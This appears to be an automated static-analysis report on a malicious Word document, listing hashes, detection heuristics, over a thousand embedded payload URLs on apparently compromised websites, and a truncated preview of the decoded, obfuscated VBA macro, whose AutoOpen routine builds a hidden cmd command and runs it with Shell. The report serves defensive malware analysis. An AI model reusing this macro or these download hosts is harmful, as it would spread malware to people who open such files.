Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7ef1b3e8e923f3c6…

MALICIOUS

Office (OLE)

280.5 KB Created: 2018-07-25 09:34:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: d5cfcc69f738bc7c9e1f2888eb7d9b16 SHA-1: b1912c106fa9aae6797993439a345f0fdf352d61 SHA-256: 7ef1b3e8e923f3c61fb6749c5a1aecf485a344339a605a53b2b6252ca8bf98e7
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The script uses the Shell function to execute a command, indicating an attempt to download and run a second-stage payload. The presence of numerous unknown-reputation URLs suggests potential C2 infrastructure or payload hosting.

Heuristics 7

  • ClamAV: Doc.Malware.Valyria-6735715-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6735715-0
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 287,243 bytes but its declared streams total only 147,264 bytes — 139,979 bytes (49%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.cheaphotelchains.com/blog/wp-content/plugins/page-links-to/mod_filezipr.php In document text (OLE body)
    • http://www.haidchakiamhighschool.edu.bd/components/com_guardian_contact/views/guardiancontacts/mod_filezipr.phpIn document text (OLE body)
    • http://www.saconets.com/wp-includes/js/jquery/ui/ini_mod_filezipr.phpIn document text (OLE body)
    • http://www.abhbeitmery.com/wp-content/uploads/2018/04/mod_filezipr.phpIn document text (OLE body)
    • http://www.michna.hu/loggers/tyoinvur/sotpie/mod_filezipr.phpIn document text (OLE body)
    • http://www.aqmal.gayatrijoshi.online/.well-known/pki-validation/temp_0d57a75d13699758c50f0322f6907be0/ini_mod_filezipr.phpIn document text (OLE body)
    • http://www.crm.212dev.com/application/views/errors/cli/mod_filezipr.phpIn document text (OLE body)
    • http://www.lotjhani.co.za/wp-content/uploads/2016/01/mod_filezipr.phpIn document text (OLE body)
    • http://www.blog.designmattersphotography.com/wp-includes/Text/Diff/Engine/mod_filezipr.phpIn document text (OLE body)
    • http://www.acilisbalon.com/wp-content/plugins/google-sitemap-generator/img/mod_filezipr.phpIn document text (OLE body)
    • http://www.khabarebandar.ir/wp-content/plugins/gassembly/images/mod_filezipr.phpIn document text (OLE body)
    • http://www.pgsm.edu.vn/wp-content/plugins/easy-wp-smtp/languages/mod_filezipr.phpIn document text (OLE body)
    • http://www.maarubber.com/components/com_mailto/views/mailto/mod_filezipr.phpIn document text (OLE body)
    • http://www.beauty2.mocksitetest.com/wp-includes/js/tinymce/utils/mod_filezipr.phpIn document text (OLE body)
    • http://www.roten.it/templates/protostar/images/system/mod_filezipr.phpIn document text (OLE body)
    • http://www.maskslim.mocksitetest.com/wp-content/uploads/2016/05/mod_filezipr.phpIn document text (OLE body)
    • http://www.test.leighsells.com/wp-content/plugins/woocommerce/i18n/mod_filezipr.phpIn document text (OLE body)
    • http://www.fondazioneamendola.it/amministrazione/wp-includes/images/smilies/mod_filezipr.phpIn document text (OLE body)
    • http://www.ipgrp.ir/logs/headers/headers/ini_mod_filezipr.phpIn document text (OLE body)
    • http://www.audioaccess.co.th/wp-content/uploads/2012/05/mod_filezipr.phpIn document text (OLE body)
    • http://www.screentec.solutions/wermure/sotpie/mod_filezipr.phpIn document text (OLE body)
    • http://www.cvs.mcduke.net/tyoinvur/sotpie/mod_filezipr.phpIn document text (OLE body)
    • http://www.cards.jsswebdev.com/wp-content/uploads/2017/09/mod_filezipr.phpIn document text (OLE body)
    • http://www.hellomarrakeshnew.212dev.com/wp-content/themes/twentyseventeen/inc/mod_filezipr.phpIn document text (OLE body)
    • http://www.2.sablecreations.com/wp-content/plugins/jetpack/logs/mod_filezipr.phpIn document text (OLE body)
    • http://www.drvawood-new.elite02.com/wp-admin/css/colors/ectoplasm/mod_filezipr.phpIn document text (OLE body)
    • http://www.hans-inn.com/wp-content/uploads/2015/12/mod_filezipr.phpIn document text (OLE body)
    • http://www.sisposano.net/fonts/font-awesome-4.4.0/scss/mod_filezipr.phpIn document text (OLE body)
    • http://www.newgarden.com.ar/wp-content/themes/twentyfifteen/inc/mod_filezipr.phpIn document text (OLE body)
    • http://www.recover.doyzkie.com/wp-includes/SimplePie/XML/Declaration/mod_filezipr.phpIn document text (OLE body)
    • http://www.thepropex.com/wp-content/uploads/revslider/templates/mod_filezipr.phpIn document text (OLE body)
    • http://www.bymakas.net/wp-content/uploads/2016/01/mod_filezipr.phpIn document text (OLE body)
    • http://www.shanghaimeishi.cn/wp-includes/js/tinymce/skins/mod_filezipr.phpIn document text (OLE body)
    • http://www.primedtalent.lk/wp-content/plugins/duplicator/ctrls/mod_filezipr.phpIn document text (OLE body)
    • http://www.gwg.mocksitetest.com/wp-admin/css/colors/blue/mod_filezipr.phpIn document text (OLE body)
    • http://www.rental.tvstartup.us/wp-content/plugins/contact-form-7/admin/mod_filezipr.phpIn document text (OLE body)
    • http://www.interaction.vn/wp-content/uploads/2018/03/mod_filezipr.phpIn document text (OLE body)
    • http://www.bestore.mocksitetest.com/wp-content/uploads/2018/07/mod_filezipr.phpIn document text (OLE body)
    • http://www.ciruplastic.com/random/yoffiwurt/sotpie/idx_config/ini_mod_filezipr.phpIn document text (OLE body)
    • http://www.hakugaku-english.com/wp-content/plugins/contact-form-7/admin/mod_filezipr.phpIn document text (OLE body)
    • http://www.clos-vignesroses.frwp-includes/SimplePie/Decode/HTML/mod_filezipr.phpIn document text (OLE body)
    • http://www.iws.org.au/wp-content/plugins/fusion-core/languages/mod_filezipr.phpIn document text (OLE body)
    • http://www.kaash-rather.com/wp-content/plugins/newsletter/includes/mod_filezipr.phpIn document text (OLE body)
    • http://www.autovaz2107.ru/administrator/components/com_joomlapack/views/mod_filezipr.phpIn document text (OLE body)
    • http://www.usncc.jsswebdev.com/wp-content/themes/jupiter/vendor/mod_filezipr.phpIn document text (OLE body)
    • http://www.optimusforce.nl/wp-includes/Text/Diff/Engine/mod_filezipr.phpIn document text (OLE body)
    • http://www.helpkw.com/gnuboard4/skin/board/basic_progress/mod_filezipr.phpIn document text (OLE body)
    • http://www.test.vividlipi.com/wp-content/pluginsss/give/includes/mod_filezipr.phpIn document text (OLE body)
    • http://www.sanicontrol.com/sanicontrol3/wp-content/plugins/metricool/mod_filezipr.phpIn document text (OLE body)
    • http://www.asistimossaludips.com/wp-admin/css/colors/ectoplasm/mod_filezipr.phpIn document text (OLE body)
    +1020 more URL(s)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 29723 bytes
SHA-256: 831614cd71219df8270d1591dba916d447de8f28a6c1285cc7561766d30988b2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jovqOBvRlNiVR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   MJjaaH = SrzLBh
   TwYpd = CInt(FjzBj / ZzUKNO * 22030 - hQFSJl)
   uSrnF = 6
wMYIzu = "" + MvMVUIGZN + RzzzQipROnucPw + CVar("cm") + CUhRviLXzwY + DHNLKdV + UIzWwNJL + uTAvWVmp + hQqafY + tSJJEbjfzB + izvaAvGAmP + SOFJuJaEO + ianZnrivkS + vZDKCH + wDMhH + EGjJhOqrk + lUMFX + YYjizjCt + OqCbYKOQaS + RYChw + aNDaSPHasQv + GqfXVKsnm + iWCddKj + SDVHwnicz + lflGdnRMqRY + wCVNHkNZT + YuNliTfZY + HtbXa + bHmVdV + iOOQT + VGQrzww + CKnZks + DdBvD + RqTQibQWN + JdUbOITBWT + iWYrkMLij + zajJrhOX + FEIGUiLKbR + lJHtrLSnmF + SnqSzzuQoU + KjGShTf + ltBbWwG + hlnMJDiBPLq + mdCuwmM + ZIchFfzzm + BhNIuiTAZHiYuw
   XtHEU = 311
   rGjsB = CBool(5)
Shell@ wMYIzu, 0
   aoLiA = Cos(4874)
End Sub


Attribute VB_Name = "YaRCzHvjhlTcHt"
Function UIzWwNJL()
On Error Resume Next
pVACZ = HSdsnf
   mJozl = Tan(QrIbjZ)
oMUAvlYns = "d" + "     " + "   " + "       " + "/c       "
LJOfVD = CBool(501)
PwqWjj = "  " + "      C" + "Md  /v:   " + "   /" + "c" + "  " + CStr(Chr(sViAWzlZ + owfLcccnOWbdLQ + 34 + BRiakHGuVF + TaqdscXLms)) + " sEt  " + " '{@]"
zbzwN = Sin(SzkGU)
   wWDfN = 816
   bWLVN = CLng(60)
nQwiJw = "=\_\_" + "---/-\_\/"
zFRjV = 233439149
   PZliT = 3364
WNzQnYIZrOs = "_/ /"
ktzHvh = 40
   qikYm = Rnd(32873 * XErOo * 94395 + wKvFzb)
   orFUhB = UuTJw
knGAXnff = "/\_" + "-" + "_-\\" + "\"
UIzWwNJL = oMUAvlYns + PwqWjj + nQwiJw + WNzQnYIZrOs + knGAXnff
   ODYll = Rnd(62815 * 24518)
   uFica = Tan(NHjlzq + SRjCMk)
   iBrUaB = CDate(qjkjz)
End Function
Function uTAvWVmp()
On Error Resume Next
KJzJRNGo = "--/__"
HCfdb = CLng(96462 - hBquj * 69058 / bRoPDH)
   lqajYs = Log(5)
   rMPEmI = jGQABQ
FtOqDwjuOr = " -/" + "_/_\-" + "\" + "--\//_\ " + "\" + "//_-\-_\/" + "_-/-\ -\_\"
QQlFa = Rnd(95)
   IfuhSd = CBool(OtibiN)
mcmDFYXVjwZ = "-/-_//\_-" + "_/ \/_/" + "//_\" + "_-" + "--_-\ /\_-" + "_-_/--"
jlMsO = Chr(24655 * sqlYiP)
   IwZZV = jsiwY
   PFiwM = Hex(2)
FZYqdYjvCH = "\_/\\" + " \-\\/" + "/" + "_" + "_/-/"
ofdkNz = 4
   vzQWSL = GkdCDl
pMkiUDCXpaC = "-_" + "\- \/" + "\/_\/_-" + "\/-__- -_" + "-\/\"
QnDtiw = UUtuoI
QVvoMvFaUpA = "\_-_" + "///\- " + "//-_" + "_--\_-\/" + "/_\"
uTAvWVmp = KJzJRNGo + FtOqDwjuOr + mcmDFYXVjwZ + FZYqdYjvCH + pMkiUDCXpaC + QVvoMvFaUpA
   GBOvXR = vztQvH
End Function
Function hQqafY()
On Error Resume Next
EjTjGH = Oct(SiPzAH)
   fvNMrf = Sgn(7)
   XdFiH = CByte(cnnhj)
zPFaFT = " -" + "-" + "_\_///-" + "\\-\/_ _/-" + "\\-\/\-_/-"
GIaQaHS = "__ --_//__" + "--_/\\\" + "\ -\/_\"
OruhHWmjOv = "-/_\" + "/-\/-_" + " _/-/\\"
MNlEY = WaQFCw
   SVDYa = Cos(pivFv / zPAAF + tNGdAJ - HsUWAK)
QHVfjmqmKU = "\" + "/-_" + "_/\-- --\" + "/-//" + "\/\_\-__ -"
HzQSM = "-/\___/\//" + "\_\-}\\/-_" + "_/-_//_\\"
MMmiXQ = CStr(oVujS)
TSEizDTmBE = "-"
hQqafY = zPFaFT + GIaQaHS + OruhHWmjOv + QHVfjmqmKU + HzQSM + TSEizDTmBE
   uuHKl = 856
End Function
Function tSJJEbjfzB()
On Error Resume Next
UZMIK = CDbl(7)
   hFWnpY = 9052
CPmQviWiwz = "}\\/" + "/_\\" + "_-" + "-_/--_{_"
YZbAmp = Sqr(OjkOpV)
   lLZPJ = Tan(YHEFKH + NwiwQE / BcLPYi - sCNBf)
ljWAJQbAmzq = "-//" + "__-\/\" + "--/\\h_/\" + "/_/\-" + "/" + "\-_--_c_"
blqOvduv = "\_" + "/\/-\--"
LuJzPI = Log(20)
FWVOUMU = "/" + "\/-_t//" + "_\--\_/" + "/\--\_a" + "\-_\\__-" + "-/-"
tSJJEbjfzB = CPmQviWiwz + ljWAJQbAmzq + blqOvduv + FWVOUMU
   EPUBH = VcQZS
   ajjErE = Int(owoWCv * PzmtbB)
End Function
Function izvaAvGAmP()
On Error Resume Next
AJsfj = 42
EutHi = "///\c/-\_/" + "-_\_\/_" + "-/-}/\_/\" + "\___-/--\-" + ";_-/_--" + "//\\-/" + "\\_k\_/-"
pvpiD = "_" + "\//" + "_-_-\\/a-" + "\/\/_" + "-/-\" + "-\_/" + "_e-_\_-"
GfPQu = CBool(cPYII)
SkWYMjjKpT = "\-/_/\" + "//-\r-//" + "_\_\_\-_-/" + "/\b--\_//" + "\-_//\__-" + ";//\/\-_-" + "\\/_-_-h"
wknSG = Hex(cBvShr / IplrbU)
  
... (truncated)